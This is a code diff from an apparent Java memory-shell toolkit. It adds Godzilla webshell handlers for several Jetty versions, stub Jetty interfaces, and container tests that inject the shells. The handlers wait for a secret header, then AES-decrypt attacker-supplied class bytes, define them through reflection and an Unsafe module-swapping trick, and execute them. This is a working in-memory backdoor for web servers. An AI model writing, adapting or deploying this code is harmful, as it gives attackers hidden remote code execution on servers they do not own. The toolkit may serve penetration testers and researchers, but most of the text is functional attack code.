||||||
|
if (p != null) {
|
||||||
|
String param = getParam(p);
|
||||||
|
InputStream inputStream = getInputStream(param);
|
||||||
|
ByteBuffer content = UTF_8.encode(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
|
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
|
||||||
|
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback});
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return nextHandler.handle(request, response, callback);
|
||||||
|
}
|
||||||
|
|
||||||
|
// jetty6
|
||||||
|
public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException {
|
||||||
|
if (handle(request, response)) {
|
||||||
|
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (nextHandler != null) {
|
||||||
|
nextHandler.handle(target, request, response, dispatch);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// jetty7+
|
||||||
|
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
|
||||||
|
if (handle(request, response)) {
|
||||||
|
invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (nextHandler != null) {
|
||||||
|
nextHandler.handle(target, baseRequest, request, response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private String getParam(String param) {
|
private String getParam(String param) {
|
||||||
return param;
|
return param;
|
||||||
}
|
}
|
||||||
@@ -64,4 +100,35 @@ public class CommandJettyHandler {
|
|||||||
private InputStream getInputStream(String param) throws Exception {
|
private InputStream getInputStream(String param) throws Exception {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) {
|
||||||
|
return invokeMethod(obj, methodName, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+127
@@ -0,0 +1,127 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class GodzillaJettyAgentHandler extends ClassLoader {
|
||||||
|
private static String key;
|
||||||
|
private static String pass;
|
||||||
|
private static String md5;
|
||||||
|
private static String headerName;
|
||||||
|
private static String headerValue;
|
||||||
|
private static Class<?> payload;
|
||||||
|
|
||||||
|
public GodzillaJettyAgentHandler() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaJettyAgentHandler(ClassLoader z) {
|
||||||
|
super(z);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean equals(Object obj) {
|
||||||
|
Object[] args = ((Object[]) obj);
|
||||||
|
Object baseRequest = null;
|
||||||
|
Object request = null;
|
||||||
|
Object response = null;
|
||||||
|
if (args.length == 4) {
|
||||||
|
Object arg4 = args[3];
|
||||||
|
baseRequest = args[1];
|
||||||
|
if (arg4 instanceof Integer) {
|
||||||
|
// jetty6
|
||||||
|
request = args[1];
|
||||||
|
response = args[2];
|
||||||
|
} else {
|
||||||
|
request = args[2];
|
||||||
|
response = args[3];
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// ee10
|
||||||
|
request = args[0];
|
||||||
|
response = args[1];
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||||
|
if (value != null && value.contains(headerValue)) {
|
||||||
|
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||||
|
try {
|
||||||
|
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||||
|
byte[] data = base64Decode(parameter);
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (payload == null) {
|
||||||
|
payload = new GodzillaJettyAgentHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
||||||
|
} else {
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = payload.newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(request);
|
||||||
|
f.equals(data);
|
||||||
|
f.toString();
|
||||||
|
writer.write(md5.substring(0, 16));
|
||||||
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
writer.write(md5.substring(16));
|
||||||
|
}
|
||||||
|
if (baseRequest != null) {
|
||||||
|
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
writer.write(getErrorMessage(e));
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
try {
|
||||||
|
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
|
||||||
|
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
|
||||||
|
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) throws Exception {
|
||||||
|
try {
|
||||||
|
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) throws Exception {
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+144
-35
@@ -1,51 +1,42 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||||
|
|
||||||
|
import org.eclipse.jetty.server.Handler;
|
||||||
|
import org.eclipse.jetty.server.Request;
|
||||||
|
import org.eclipse.jetty.server.Response;
|
||||||
|
import org.eclipse.jetty.util.Callback;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
import java.io.ByteArrayOutputStream;
|
import javax.servlet.ServletException;
|
||||||
import java.io.PrintStream;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import java.io.PrintWriter;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.*;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
|
||||||
|
import static java.nio.charset.StandardCharsets.UTF_8;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
* @since 2025/11/29
|
||||||
*/
|
*/
|
||||||
public class GodzillaJettyHandler extends ClassLoader {
|
public class GodzillaJettyHandler {
|
||||||
private static String key;
|
private static String key;
|
||||||
private static String pass;
|
private static String pass;
|
||||||
private static String md5;
|
private static String md5;
|
||||||
private static String headerName;
|
private static String headerName;
|
||||||
private static String headerValue;
|
private static String headerValue;
|
||||||
private static Class<?> payload;
|
private static Class<?> payload;
|
||||||
|
private Handler nextHandler;
|
||||||
|
|
||||||
public GodzillaJettyHandler() {
|
public GodzillaJettyHandler() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public GodzillaJettyHandler(ClassLoader z) {
|
public boolean handle(Object request, Object response) {
|
||||||
super(z);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean equals(Object obj) {
|
|
||||||
Object[] args = ((Object[]) obj);
|
|
||||||
Object baseRequest = null;
|
|
||||||
Object request = null;
|
|
||||||
Object response = null;
|
|
||||||
if (args.length == 4) {
|
|
||||||
Object arg4 = args[3];
|
|
||||||
baseRequest = args[1];
|
|
||||||
if (arg4 instanceof Integer) {
|
|
||||||
// jetty6
|
|
||||||
request = args[1];
|
|
||||||
response = args[2];
|
|
||||||
} else {
|
|
||||||
request = args[2];
|
|
||||||
response = args[3];
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// ee10
|
|
||||||
request = args[0];
|
|
||||||
response = args[1];
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||||
if (value != null && value.contains(headerValue)) {
|
if (value != null && value.contains(headerValue)) {
|
||||||
@@ -55,7 +46,7 @@ public class GodzillaJettyHandler extends ClassLoader {
|
|||||||
byte[] data = base64Decode(parameter);
|
byte[] data = base64Decode(parameter);
|
||||||
data = this.x(data, false);
|
data = this.x(data, false);
|
||||||
if (payload == null) {
|
if (payload == null) {
|
||||||
payload = new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
payload = reflectionDefineClass(data);
|
||||||
} else {
|
} else {
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
Object f = payload.newInstance();
|
Object f = payload.newInstance();
|
||||||
@@ -67,9 +58,6 @@ public class GodzillaJettyHandler extends ClassLoader {
|
|||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
}
|
}
|
||||||
if (baseRequest != null) {
|
|
||||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
|
||||||
}
|
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
writer.write(getErrorMessage(e));
|
writer.write(getErrorMessage(e));
|
||||||
@@ -82,6 +70,127 @@ public class GodzillaJettyHandler extends ClassLoader {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// jetty12
|
||||||
|
public boolean handle(Request request, Response response, Callback callback) throws Exception {
|
||||||
|
try {
|
||||||
|
Object headers = invokeMethod(request, "getHeaders");
|
||||||
|
String value = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{headerName});
|
||||||
|
if (value != null && value.contains(headerValue)) {
|
||||||
|
StringWriter writer = new StringWriter();
|
||||||
|
try {
|
||||||
|
Object parameters = Request.class.getMethod("getParameters", Request.class).invoke(null, request);
|
||||||
|
String parameter = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{pass});
|
||||||
|
byte[] data = base64Decode(parameter);
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (payload == null) {
|
||||||
|
payload = reflectionDefineClass(data);
|
||||||
|
} else {
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = payload.newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(request);
|
||||||
|
f.equals(data);
|
||||||
|
f.toString();
|
||||||
|
writer.write(md5.substring(0, 16));
|
||||||
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
writer.write(md5.substring(16));
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
writer.write(getErrorMessage(e));
|
||||||
|
}
|
||||||
|
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
|
||||||
|
ByteBuffer content = UTF_8.encode(writer.toString());
|
||||||
|
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback});
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return nextHandler.handle(request, response, callback);
|
||||||
|
}
|
||||||
|
|
||||||
|
// jetty6
|
||||||
|
public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException {
|
||||||
|
if (handle(request, response)) {
|
||||||
|
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (nextHandler != null) {
|
||||||
|
nextHandler.handle(target, request, response, dispatch);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// jetty7+
|
||||||
|
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
|
||||||
|
if (handle(request, response)) {
|
||||||
|
invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (nextHandler != null) {
|
||||||
|
nextHandler.handle(target, baseRequest, request, response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
|
||||||
|
Object unsafe = null;
|
||||||
|
Object rawModule = null;
|
||||||
|
long offset = 48;
|
||||||
|
Method getAndSetObjectM = null;
|
||||||
|
try {
|
||||||
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
unsafe = unsafeField.get(null);
|
||||||
|
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
|
||||||
|
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||||
|
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||||
|
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||||
|
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||||
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||||
|
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
|
defMethod.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
|
||||||
|
if (getAndSetObjectM != null) {
|
||||||
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||||
|
}
|
||||||
|
return clazz;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) {
|
||||||
|
return invokeMethod(obj, methodName, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static String base64Encode(byte[] bs) throws Exception {
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
try {
|
try {
|
||||||
@@ -124,4 +233,4 @@ public class GodzillaJettyHandler extends ClassLoader {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package org.eclipse.jetty.server;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/2
|
||||||
|
*/
|
||||||
|
public class Connector {
|
||||||
|
}
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
package org.eclipse.jetty.server;
|
||||||
|
|
||||||
|
import org.eclipse.jetty.util.Callback;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/29
|
||||||
|
*/
|
||||||
|
public interface Handler {
|
||||||
|
void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response)
|
||||||
|
throws IOException, ServletException;
|
||||||
|
|
||||||
|
boolean handle(Request request, Response response, Callback callback) throws Exception;
|
||||||
|
|
||||||
|
void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException;
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
package org.eclipse.jetty.server;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/2
|
||||||
|
*/
|
||||||
|
public class HttpConfiguration {
|
||||||
|
public interface Customizer {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package org.eclipse.jetty.server;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/29
|
||||||
|
*/
|
||||||
|
public interface Request {
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package org.eclipse.jetty.server;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/29
|
||||||
|
*/
|
||||||
|
public interface Response {
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package org.eclipse.jetty.util;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/29
|
||||||
|
*/
|
||||||
|
public interface Callback {
|
||||||
|
}
|
||||||
+2
-1
@@ -54,6 +54,7 @@ public class Jetty10ContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
@@ -70,6 +71,6 @@ public class Jetty10ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -55,6 +55,7 @@ public class Jetty11ContainerTest {
|
|||||||
ShellType.JAKARTA_SERVLET,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
@@ -72,6 +73,6 @@ public class Jetty11ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -55,6 +55,7 @@ public class Jetty12ee10ContainerTest {
|
|||||||
ShellType.JAKARTA_SERVLET,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
@@ -72,6 +73,6 @@ public class Jetty12ee10ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -55,6 +55,7 @@ public class Jetty12ee11ContainerTest {
|
|||||||
ShellType.JAKARTA_SERVLET,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
@@ -73,6 +74,6 @@ public class Jetty12ee11ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -54,6 +54,7 @@ public class Jetty12ee8ContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
@@ -70,6 +71,6 @@ public class Jetty12ee8ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -55,6 +55,7 @@ public class Jetty12ee9ContainerTest {
|
|||||||
ShellType.JAKARTA_SERVLET,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
@@ -72,6 +73,6 @@ public class Jetty12ee9ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -54,6 +54,7 @@ public class Jetty61ContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
